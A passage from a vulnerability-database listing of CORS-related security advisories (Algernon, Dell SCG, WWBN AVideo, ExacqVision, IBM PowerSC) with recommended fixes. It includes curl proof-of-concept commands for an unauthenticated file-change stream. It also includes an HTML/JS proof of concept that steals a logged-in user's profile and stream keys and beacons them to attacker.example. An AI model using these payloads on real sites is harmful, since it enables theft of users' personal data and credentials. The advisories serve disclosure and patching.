emits one SSE record per filename touched ...\n    }\n}\n```\n\nNote the handler signature: `func(w http.ResponseWriter, _ *http.Request)`. The request is discarded \u2014 no `Cookie`, `Authorization`, query-string, or remote-IP check is performed before the stream begins.\n\nIn 1.17.6 the listener was placed on its own `http.ServeMux` ([recwatch/eventserver.go:200-215](../vendor/github.com/xyproto/recwatch/eventserver.go)), wholly outside the `perm.Rejected` middleware chain that gates Algernon\u0027s main HTTP listener. Even an operator who had configured admin/user path prefixes via `perm.AddAdminPath`, set a `cookieSecret`, and forced authentication on every URL of the main server had no way to gate this listener \u2014 it was unreachable from the `mux` argument the perm middleware uses.\n\n#### Why authentication matters for this listener\n\nThe stream contents are not public data. They reveal:\n\n- Which files the developer is actively editing, with sub-second timing precision.\n- The existence of files inside the watched root (including files the operator may have meant to keep private \u2014 `.env.local`, `secrets.lua`, in-progress draft files).\n- By inference, the directory layout of the project.\n\nA client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite `for {}` loop \u2014 there is no natural session boundary or expiry.\n\n#### Source-level evidence\n\n```text\n$ rg -n \u0027GenFileChangeEvents|EventServer\\(\u0027 vendor/github.com/xyproto/recwatch/\nvendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\nvendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {\n\n$ rg -n \u0027Cookie|Authorization|Token|state\\.User\u0027 vendor/github.com/xyproto/recwatch/eventserver.go\n# zero matches \u2014 no authentication primitive is referenced anywhere in the file\n```\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator runs algernon with auto-refresh on a project directory:\nalgernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows\n\n# 2. Any client that can reach the listener connects without credentials:\ncurl -sN http://\u003cserver\u003e:5553/sse\n# =\u003e id: 0\n#    data: /path/to/project/secret-notes.md\n#\n#    id: 1\n#    data: /path/to/project/.env.local\n```\n\nNo `Cookie`, no `Authorization`, no `X-Token`, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.\n\n### Impact\n\n- **Confidentiality:** medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.\n- **Integrity:** none.\n- **Availability:** low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.\n\n### Suggestions to fix\n\n**Primary fix \u2014 require a shared secret on the SSE endpoint.** The auto-refresh feature already injects a script into served HTML ([engine/sse.go:118-165](../engine/sse.go)); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:\n\n```go\n// engine/sse.go -- in InsertAutoRefresh\ntmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes\n\n// JS:\n//   var source = new EventSource(\u0027...?token={{.SessionToken}}\u0027);\n\n// recwatch handler:\n//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get(\"token\")),\n//                                 []byte(serverToken)) != 1 {\n//       http.Error(w, \"forbidden\", http.StatusForbidden); return\n//   }\n```\n\nCookie-bearing requests work too if `recwatch.EventServer` is moved behind `perm.Rejected` (see \"Defence in depth\"). The token approach is the smaller change.\n\n**Defence in depth \u2014 mount the SSE handler on the main mux.** Moving `recwatch.EventServerHandler` onto the main `http.ServeMux` automatically places the SSE handler behind whatever middleware the operator has configured \u2014 `perm.Rejected`, `tollbooth`, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses `perm.Rejected` because it uses its own `http.ServeMux`, and that path needs the token fix from \"Primary fix\" above.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site\n$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse \u003e stream.txt \u0026\n    sleep 1\n    echo \"edit-1\" \u003e\u003e poc2/site/secret-notes.md\n    echo \"edit-2\" \u003e\u003e poc2/site/.env.local\n    wait )\n$ cat stream.txt\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\secret-notes.md\n\nid: 1\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\.env.local\n```\n\nNo `Cookie`, no `Authorization` header. Stream delivered.",
  "id": "GHSA-9v4j-7g44-qcqw",
  "modified": "2026-05-19T14:36:34Z",
  "published": "2026-05-19T14:36:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-9v4j-7g44-qcqw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication"
}

GHSA-C8F3-GJ35-46CF

Vulnerability from github – Published: 2024-06-13 15:30 – Updated: 2024-06-13 15:30
VLAI
Details

SCG Policy Manager, all versions, contains an overly permissive Cross-Origin Resource Policy (CORP) vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to the execution of malicious actions on the application in the context of the authenticated user.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-37131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T15:15:52Z",
    "severity": "HIGH"
  },
  "details": "SCG Policy Manager, all versions, contains an overly permissive Cross-Origin Resource Policy (CORP) vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to the execution of malicious actions on the application in the context of the authenticated user.",
  "id": "GHSA-c8f3-gj35-46cf",
  "modified": "2024-06-13T15:30:37Z",
  "published": "2024-06-13T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37131"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000225956/dsa-2024-254-security-update-for-dell-secure-connect-gateway-policy-manager-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CCQ9-R5CW-5HWQ

Vulnerability from github – Published: 2026-04-14 23:18 – Updated: 2026-04-24 20:40
VLAI
Summary
WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover
Details

Summary

The allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.

Details

The vulnerable code path is in objects/functions.php lines 2773-2791:

// objects/functions.php:2773
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... allows all methods and headers ...
    return;
}

This is called unconditionally at the top of both API entry points:

// plugin/API/get.json.php:12
allowOrigin(true);

// plugin/API/set.json.php:12
allowOrigin(true);

The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same allowOrigin(true) call gates the entire API surface.

The attack is enabled by the session cookie configuration at objects/include_config.php:144:

ini_set('session.cookie_samesite', 'None');

This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via $_SESSION['user']['id'] (in User::getId()).

When a logged-in user's session is present, the get_api_user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including: - Email, full name, address, phone, birth date (PII) - Admin status and permission flags - Livestream server URL with embedded password (API.php:3059) - Encrypted stream key (API.php:3063)

The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.

PoC

Step 1: Host the following HTML on any domain (e.g., https://attacker.example):

<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect',
    JSON.stringify({
      email: data.user?.email,
      name: data.user?.user,
      isAdmin: data.user?.isAdmin,
      streamKey: data.livestream?.key,
      streamServer: data.livestream?.server
    })
  );
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>

Step 2: Victim visits the attacker page while logged into the AVideo instance.

Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:

Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true

Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.

Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.

Impact

  • User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
  • Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
  • Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
  • State modification: The set.json.php endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim
  • Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor

Recommended Fix

Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:

// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        // Validate origin against site domain before reflecting
        $siteOrigin = '';
        if (!empty($global['webSiteRootURL'])) {
            $parsed = parse_url($global['webSiteRootURL']);
            if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
                $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
                if (!empty($parsed['port'])) {
                    $siteOrigin .= ':' . $parsed['port'];
                }
            }
        }
        if ($requestOrigin === $siteOrigin) {
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            header('Access-Control-Allow-Credentials: true');
        } else {
            // For truly public resources (ad XML), allow without credentials
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            // Do NOT set Allow-Credentials for untrusted origins
        }
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... rest of headers ...
}

Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:18:19Z",
    "nvd_published_at": "2026-04-21T23:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` \u2014 the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application\u0027s `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.\n\n## Details\n\nThe vulnerable code path is in `objects/functions.php` lines 2773-2791:\n\n```php\n// objects/functions.php:2773\nif ($allowAll) {\n    $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n    if (!empty($requestOrigin)) {\n        header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n        header(\u0027Access-Control-Allow-Credentials: true\u0027);\n    } else {\n        header(\u0027Access-Control-Allow-Origin: *\u0027);\n    }\n    // ... allows all methods and headers ...\n    return;\n}\n```\n\nThis is called unconditionally at the top of both API entry points:\n\n```php\n// plugin/API/get.json.php:12\nallowOrigin(true);\n\n// plugin/API/set.json.php:12\nallowOrigin(true);\n```\n\nThe comment above the code claims \"These endpoints return public ad XML and carry no session-sensitive data\" \u2014 this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.\n\nThe attack is enabled by the session cookie configuration at `objects/include_config.php:144`:\n\n```php\nini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n```\n\nThis ensures the browser sends the victim\u0027s session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION[\u0027user\u0027][\u0027id\u0027]` (in `User::getId()`).\n\nWhen a logged-in user\u0027s session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user\u0027s own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:\n- Email, full name, address, phone, birth date (PII)\n- Admin status and permission flags\n- Livestream server URL with embedded password (API.php:3059)\n- Encrypted stream key (API.php:3063)\n\nThe recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.\n\n## PoC\n\n**Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAVideo CORS PoC\u003c/h1\u003e\n\u003cscript\u003e\n// Step 1: Steal user profile data (PII, admin status, stream keys)\nfetch(\u0027https://TARGET/plugin/API/get.json.php?APIName=user\u0027, {\n  credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(data =\u003e {\n  document.getElementById(\u0027result\u0027).textContent = JSON.stringify(data, null, 2);\n  // Exfiltrate to attacker server\n  navigator.sendBeacon(\u0027https://attacker.example/collect\u0027,\n    JSON.stringify({\n      email: data.user?.email,\n      name: data.user?.user,\n      isAdmin: data.user?.isAdmin,\n      streamKey: data.livestream?.key,\n      streamServer: data.livestream?.server\n    })\n  );\n});\n\u003c/script\u003e\n\u003cpre id=\"result\"\u003eLoading...\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Victim visits the attacker page while logged into the AVideo instance.\n\n**Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with:\n```\nAccess-Control-Allow-Origin: https://attacker.example\nAccess-Control-Allow-Credentials: true\n```\n\n**Step 4:** The attacker\u0027s JavaScript reads the full authenticated API response containing the victim\u0027s email, name, address, phone, admin status, livestream credentials, and stream keys.\n\n**Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.\n\n## Impact\n\n- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page\n- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking\n- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts\n- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim\n- **Mass exploitation**: No per-user targeting required \u2014 a single attacker page can harvest data from every logged-in visitor\n\n## Recommended Fix\n\nReplace the permissive origin reflection in `allowOrigin()` with validation against the site\u0027s configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:\n\n```php\n// objects/functions.php:2773 \u2014 replace the $allowAll block with:\nif ($allowAll) {\n    $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n    if (!empty($requestOrigin)) {\n        // Validate origin against site domain before reflecting\n        $siteOrigin = \u0027\u0027;\n        if (!empty($global[\u0027webSiteRootURL\u0027])) {\n            $parsed = parse_url($global[\u0027webSiteRootURL\u0027]);\n            if (!empty($parsed[\u0027scheme\u0027]) \u0026\u0026 !empty($parsed[\u0027host\u0027])) {\n                $siteOrigin = $parsed[\u0027scheme\u0027] . \u0027://\u0027 . $parsed[\u0027host\u0027];\n                if (!empty($parsed[\u0027port\u0027])) {\n                    $siteOrigin .= \u0027:\u0027 . $parsed[\u0027port\u0027];\n                }\n            }\n        }\n        if ($requestOrigin === $siteOrigin) {\n            header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n            header(\u0027Access-Control-Allow-Credentials: true\u0027);\n        } else {\n            // For truly public resources (ad XML), allow without credentials\n            header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n            // Do NOT set Allow-Credentials for untrusted origins\n        }\n    } else {\n        header(\u0027Access-Control-Allow-Origin: *\u0027);\n    }\n    // ... rest of headers ...\n}\n```\n\nAdditionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.",
  "id": "GHSA-ccq9-r5cw-5hwq",
  "modified": "2026-04-24T20:40:43Z",
  "published": "2026-04-14T23:18:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ccq9-r5cw-5hwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41056"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/caf705f38eae0ccfac4c3af1587781355d24495e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover"
}

GHSA-CVV3-VCH8-MP39

Vulnerability from github – Published: 2024-08-02 00:31 – Updated: 2024-08-02 00:31
VLAI
Details

Under certain circumstances the ExacqVision Web Services does not provide sufficient protection from untrusted domains.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-32862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-01T22:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Under certain circumstances the ExacqVision Web Services does not provide sufficient protection from untrusted domains.",
  "id": "GHSA-cvv3-vch8-mp39",
  "modified": "2024-08-02T00:31:25Z",
  "published": "2024-08-02T00:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32862"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-02"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4W8-52PM-GHR9

Vulnerability from github – Published: 2024-02-02 03:30 – Updated: 2024-02-02 03:30
VLAI
Details

IBM PowerSC 1.3, 2.0, and 2.1 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains. IBM X-Force ID: 275130.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-50940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-02T01:15:08Z",
    "severity": "MODERATE"
  },
  "details": "IBM PowerSC 1.3, 2.0, and 2.1 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.  IBM X-Force ID:  275130.\n\n",
  "id": "GHSA-f4w8-52pm-ghr9",
  "modified": "2024-02-02T03:30:32Z",
  "published": "2024-02-02T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50940"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/275130"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7113759"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.

Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Mitigation
Architecture and Design Operation

Strategy: Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list